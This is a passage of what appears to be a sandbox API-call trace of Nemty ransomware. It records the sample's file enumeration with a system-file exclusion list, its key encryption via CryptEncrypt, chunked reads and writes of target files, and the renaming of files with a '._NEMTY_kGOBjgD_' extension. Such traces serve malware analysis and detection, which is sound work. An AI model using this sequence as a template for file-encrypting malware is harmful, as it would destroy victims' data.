lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.703] CloseHandle (hObject=0xffffffff) returned 0 [0135.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\3.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\3.png._nemty_kgobjgd_")) returned 0 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.704] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849dbbfe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849dbbfe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cd92f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2=".") returned 1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="..") returned 1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="...") returned 1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="windows") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="$RECYCLE.BIN") returned 1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="rsa") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="NTDETECT.COM") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="ntldr") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="MSDOS.SYS") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="IO.SYS") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="boot.ini") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="boot.ini") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="ntuser.dat") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="desktop.ini") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="CONFIG.SYS") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="RECYCLER") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="BOOTSECT.BAK") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="bootmgr") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="programdata") returned -1 [0135.704] lstrcmpiW (lpString1="4.png", lpString2="appdata") returned -1 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.png", lpUsedDefaultChar=0x0) returned 5 [0135.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.705] Sleep (dwMilliseconds=0x5) [0135.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x48a7f30, dwHighDateTime=0x1d561e8)) [0135.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x48a7f30, dwHighDateTime=0x1d561e8)) [0135.719] GetLastError () returned 0x5 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.719] GetLastError () returned 0x5 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.719] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.719] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.719] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.719] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="VuPnHHkr29sL/8XawOOCop5thnYcxs86qQex4H4sPE2NMDngyImHLLykQP83aPX7\r\nGj/4bWvTiinyqZQBGgkZh9BMnixF1cSwT0CVkp189X62dwn4tFXRgs4cwthjJpJq\r\nNMLnNloSViB8RpkxqkVV6Qn/KOevr1iQg4NoVEsrYtbP447YHVg0uL5o00X6VTjj\r\n0paOlG98MjswCFDLm5yfEc5Zs+RKLw46tVnDFAvjDfMryVY5tJavtFxjSEkjlCvS\r\nsa3PgOS/hwyxUVHsv1YOxICqolnxaLubf3Ahim2EnvcsaHu2b/+8Fy1E/pIpNkRJ\r\nsT51zEK9lAdiPx0x1ZAumw==\r\n", pcchString=0x653e91c) returned 1 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.720] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.720] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.831] CloseHandle (hObject=0xffffffff) returned 0 [0135.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\4.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\4.png._nemty_kgobjgd_")) returned 0 [0135.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.832] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: 